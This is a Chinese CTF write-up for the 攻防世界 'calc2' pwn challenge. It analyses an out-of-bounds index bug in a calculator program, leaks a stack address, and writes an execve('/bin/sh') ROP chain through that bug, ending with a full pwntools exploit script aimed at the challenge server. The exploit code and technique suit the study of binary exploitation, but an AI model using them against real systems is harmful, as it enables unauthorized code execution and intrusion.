攻防世界PWN之calc2题解

161 篇文章 11 订阅
161 篇文章 11 订阅

calc2

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,发现libc被静态编译进了程序中,又由于没有开启PIE,,所以,我们就直接可以获得需要的函数的地址。然而,我们发现,system、execve这些函数都没有,有没有one_gadget,那么我们只能通过系统调用来构造ROP执行/bin/shgetshell

发现,该程序是一个四则运算表达式计算程序

其中,我们需要重点关注的就是a2[v4+1] = v9这句代码,可能造成下标越界。

我们仔细分析程序,然后用C语言还原这个计算过程

  1. #include <stdio.h>  
  2. #include <string.h>  
  3. #include <stdlib.h>  
  4.   
  5. //  
  6. struct Stack {  
  7.     int top;  
  8.     int data[100];  
  9. };  
  10.   
  11.   
  12. void eval(Stack *num_stack,char op) {  
  13.     switch (op) {  
  14.         case '+':  
  15.             num_stack->data[num_stack->top - 1] += num_stack->data[num_stack->top];  
  16.             break;  
  17.         case '-':  
  18.             num_stack->data[num_stack->top - 1] -= num_stack->data[num_stack->top];  
  19.             break;  
  20.         case '*':  
  21.             num_stack->data[num_stack->top - 1] *= num_stack->data[num_stack->top];  
  22.             break;  
  23.         case '/':  
  24.             num_stack->data[num_stack->top - 1] /= num_stack->data[num_stack->top];  
  25.             break;  
  26.     }  
  27.     //出栈一个无用数据  
  28.     num_stack->top--;  
  29. }  
  30.   
  31. int parse_expr(char *in,Stack *num_stack) {  
  32.     //存放运算符的栈  
  33.     Stack op_stack;  
  34.     memset(&op_stack,0,sizeof(Stack));  
  35.     char *p = in;  
  36.     for (int i=0;; ++i) {  
  37.         char ch = in[i];  
  38.         //遇到非数字,判定为运算符  
  39.         if ( unsigned(ch - '0') > 9) {  
  40.             int len = i + in - p;  
  41.             char *tmp = (char *)malloc(len+1);  
  42.             memcpy(tmp,p,len);  
  43.             tmp[len] = '\0';  
  44.             if ( !strcmp(tmp, "0") ) {  
  45.                 puts("prevent division by zero");  
  46.                 fflush(stdout);  
  47.                 return 0;  
  48.             }  
  49.             int x = atoi(tmp);  
  50.             //操作数入栈  
  51.             if (x > 0) {  
  52.                 num_stack->top++;  
  53.                 num_stack->data[num_stack->top] = x;  
  54.             }  
  55.   
  56.             //表达式错误,不能有连续的多个运算符  
  57.             if (ch && in[i+1] - '0' > 9) {  
  58.                 puts("expression error!");  
  59.                 fflush(stdout);  
  60.                 return 0;  
  61.             }  
  62.             p = in + i + 1;  
  63.             //查看栈顶运算符  
  64.             char op =  op_stack.data[op_stack.top];  
  65.             if (op) {  
  66.                 //与当前运算符做比较  
  67.                 switch (ch) {  
  68.                     case '%':  
  69.                     case '*':  
  70.                     case '/':  
  71.                         if ( op != '+' && op != '-' ) {  
  72.                             eval(num_stack, op);  
  73.                             op_stack.data[op_stack.top] = ch;  
  74.                         } else {  
  75.                             op_stack.data[++op_stack.top] = ch;  
  76.                         }  
  77.                         break;  
  78.                     case '+':  
  79.                     case '-':  
  80.                         eval(num_stack, op);  
  81.                         op_stack.data[op_stack.top] = ch;  
  82.                         break;  
  83.                     default:  
  84.                         eval(num_stack, op_stack.data[op_stack.top--]);  
  85.                         break;  
  86.                 }  
  87.             } else {  
  88.                 op_stack.data[op_stack.top] = ch;  
  89.             }  
  90.             if (!ch) {  
  91.                 break;  
  92.             }  
  93.         }  
  94.     }  
  95.     while (op_stack.top >= 0) {  
  96.         eval(num_stack, op_stack.data[op_stack.top--]);  
  97.     }  
  98.     return 1;  
  99. }  
  100.   
  101. int main() {  
  102.     //存放操作数的栈  
  103.     Stack num_stack;  
  104.     num_stack.top = -1;  
  105.     memset(num_stack.data,0,sizeof(int) * 100);  
  106.     char expr[0x400] = {0};  
  107.     while (true) {  
  108.         scanf("%s",expr);  
  109.         if (parse_expr(expr,&num_stack)) {  
  110.             printf("%d\n",num_stack.data[num_stack.top]);  
  111.             fflush(stdout);  
  112.         }  
  113.     }  
  114. }  

再对比IDA,中,我们要是能修改到a2,也就是top指针,那么就能实现任意地址写

再看看这个程序的逻辑,结合我们还原的源代码,能够修改到top的值的关键地方在eval函数

结合源代码,我们看看

如果当num_stack->top0时,就可以造成data数据下标越界,什么时候num_stack->top为0呢?不就是num_stack里只有一个操作数的时候吗。如果,我们输入的表达式为+123,那么,由于该程序判断时的缺陷,表达式的结尾的\0也被当做符号处理,因此,程序先是遇到+号,+号入运算符栈,然后程序遇到123,入num_stack,接下来,程序遇到\0结尾符,于是会调用eval函数,而此时num_stack->top = 0,导致了num_stack->data[-1] += num_stack[num_stack->top],使得num_stack的top变成了123 + 1 = 124,接下来,结尾处又执行了,综上,+123这个表达式使得num_stacktop变成了123。为了便于观察,我们可以加入这样的代码

然后,我们输入+123+456

由此,我们可以用IDA调试,找到calc函数的返回地址的栈位置,便可以修改calc的返回地址,构造ROP。为了构造ROP,我们需要一些gadget,我们可以使用ROPgadgets工具来查找ROPgadget --binary calc2  --only 'pop|ret' | grep 'eax'

  1. #pop eax ; ret  
  2. pop_eax = 0x0805c34b  
  3. #pop ebx ; ret  
  4. pop_ebx = 0x080481d1  
  5. #pop ecx ; pop ebx ; ret  
  6. pop_ecx = 0x080701d1  
  7. #pop edx ; ret  
  8. pop_edx = 0x080701aa  
  9. #int 0x80  
  10. int_80 = 0x08049a21  
  11.   
  12. #通过系统调用来执行/bin/sh  
  13. rop = [pop_eax,0x0b,  
  14.        pop_ecx,0,0,  
  15.        pop_edx,0,  
  16.        int_80,  
  17.        u32('/bin'),  
  18.        u32('/sh\x00')]  

为了得到/bin/sh字符串的地址,我们把/bin/sh到时候存到栈里,然后,我们需要泄露一些栈地址,就能得到/bin/sh字符串地址

我们可以借助输出结果的地方来泄露地址

其中,v1正是num_stack的栈顶指针,v2num_stack的数据区

之前我们知道了,+123,可以使得num_stack的栈顶指针变为123,那么就能泄露偏移123*4字节处的数据,那么要泄露栈地址,我们只需算出main的ebp的偏移,即可泄露

我们看到,当前存放main的ebp的栈地址为0xFFFEA1C8

而v2的地址为0xFFFE9C2C,计算一下(0xFFFEA1C8 - 0xFFFE9C2C) / 4 = 0x167

也就是359,因此,我们只需要输入+360再回车,即可泄露出main函数的ebp,然后,就能计算出/bin/sh字符串在栈里的地址,需要注意的是,泄露出来的数据是负数,因为%d处理的是有符号数,因此,我们只需用0x100000000 + x即可得到原来的数据

  1. sh.recvuntil('\n')  
  2. #泄露mainebp  
  3. sh.sendline('+360')  
  4. #由于泄露出来是一个负数的形式,因此我们将其加上0x100000000即可  
  5. main_ebp = int(sh.recvuntil('\n',drop=True))  
  6. main_ebp = 0x100000000 + main_ebp  
  7. #获得/bin/sh字符串在栈里的位置  
  8. rop[4] = main_ebp - 0x20 + 9 * 4  
  9. print hex(main_ebp)  

现在,我们得到了地址,然后就构造好了ROP链,我们需要依次把ROP链写入到calc的返回地址的栈后面

经过一顿测试,发现,我们不能靠这里来写ROP,因为后续用调用了eval函数,对数据又做了修改吗,因此,我们应该依靠eval函数,因为eval函数里对a1数组做了最后的修改。

eval函数

由于是a1[top-1] += a1[top],因此,本来,我们走360开始就是calc函数的返回地址处,我们向后偏移1,也就是从361开始,这样,不会影响前面的canary值。并且,由于使用的是+=,我们需要先泄露原来a1[top]处的数据,再算出差值,然后提交

  1. #开始写360处就是parse_expr的返回地址,我们写ROP  
  2. for i in range(0,len(rop)):  
  3.    payload = '+' + str(361 + i)  
  4.    sh.sendline(payload)  
  5.    #先泄露原来的值  
  6.    num = int(sh.recvuntil('\n',drop=True))  
  7.    #计算出差值  
  8.    offset = rop[i] - num  
  9.    print hex(rop[i])  
  10.    #如果小于零,我们需要去掉+号,直接使用数字前面的负号  
  11.    if offset<0:  
  12.       payload_ = payload + str(offset)  
  13.    else:  
  14.       payload_ = payload + '+' + str(offset)  
  15.    #发送数据  
  16.    sh.sendline(payload_)  
  17.    #我们还需检验一下是否正确的写入了对的数据  
  18.    value = int(sh.recv(1024))  
  19.    if value < 0:  
  20.       #转为原始数据  
  21.       value += 0x100000000  
  22.    while value!=rop[i]:  
  23.       print "current value is %x" % (value)  
  24.       offset = rop[i] - value  
  25.       if offset<0:  
  26.          sh.sendline(payload + str(offset))  
  27.       else:  
  28.          sh.sendline(payload + '+' + str(offset))  
  29.       value = int(sh.recv(1024))  
  30.       if value < 0:  
  31.          value += 0x100000000  

这样操作以后,ROP写入成功,接下来,我们发送一个非数字和运算符,使得程序退出calc函数,执行ROP链。

  1. #getshell  
  2. sh.sendline('a')  

本题的难点在于找到漏洞,以及分析漏洞,需要一定的时间。

综上,我们的exp脚本如下

  1. #coding:utf8  
  2. from pwn import *  
  3.   
  4. #pop eax ; ret  
  5. pop_eax = 0x0805c34b  
  6. #pop ebx ; ret  
  7. pop_ebx = 0x080481d1  
  8. #pop ecx ; pop ebx ; ret  
  9. pop_ecx = 0x080701d1  
  10. #pop edx ; ret  
  11. pop_edx = 0x080701aa  
  12. #int 0x80  
  13. int_80 = 0x08049a21  
  14.   
  15. #通过系统调用来执行/bin/sh  
  16. rop = [pop_eax,0x0b,  
  17.        pop_ecx,0,0,  
  18.        pop_edx,0,  
  19.        int_80,  
  20.        u32('/bin'),  
  21.        u32('/sh\x00')]  
  22.   
  23. #sh = process('./pwnh37')  
  24. sh = remote('111.198.29.45',39005)  
  25. sh.recvuntil('\n')  
  26. #泄露mainebp  
  27. sh.sendline('+360')  
  28. #由于泄露出来是一个负数的形式,因此我们将其加上0x100000000即可  
  29. main_ebp = int(sh.recvuntil('\n',drop=True))  
  30. main_ebp = 0x100000000 + main_ebp  
  31. #获得/bin/sh字符串在栈里的位置  
  32. rop[4] = main_ebp - 0x20 + 9 * 4  
  33. print hex(main_ebp)  
  34.   
  35. #开始写360处就是parse_expr的返回地址,我们写ROP  
  36. for i in range(0,len(rop)):  
  37.    payload = '+' + str(361 + i)  
  38.    sh.sendline(payload)  
  39.    #先泄露原来的值  
  40.    num = int(sh.recvuntil('\n',drop=True))  
  41.    #计算出差值  
  42.    offset = rop[i] - num  
  43.    print hex(rop[i])  
  44.    #如果小于零,我们需要去掉+号,直接使用数字前面的负号  
  45.    if offset<0:  
  46.       payload_ = payload + str(offset)  
  47.    else:  
  48.       payload_ = payload + '+' + str(offset)  
  49.    #发送数据  
  50.    sh.sendline(payload_)  
  51.    #我们还需检验一下是否正确的写入了对的数据  
  52.    value = int(sh.recv(1024))  
  53.    if value < 0:  
  54.       #转为原始数据  
  55.       value += 0x100000000  
  56.    while value!=rop[i]:  
  57.       print "current value is %x" % (value)  
  58.       offset = rop[i] - value  
  59.       if offset<0:  
  60.          sh.sendline(payload + str(offset))  
  61.       else:  
  62.          sh.sendline(payload + '+' + str(offset))  
  63.       value = int(sh.recv(1024))  
  64.       if value < 0:  
  65.          value += 0x100000000  
  66.   
  67. #getshell  
  68. sh.sendline('a')  
  69.   
  70. sh.interactive() 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值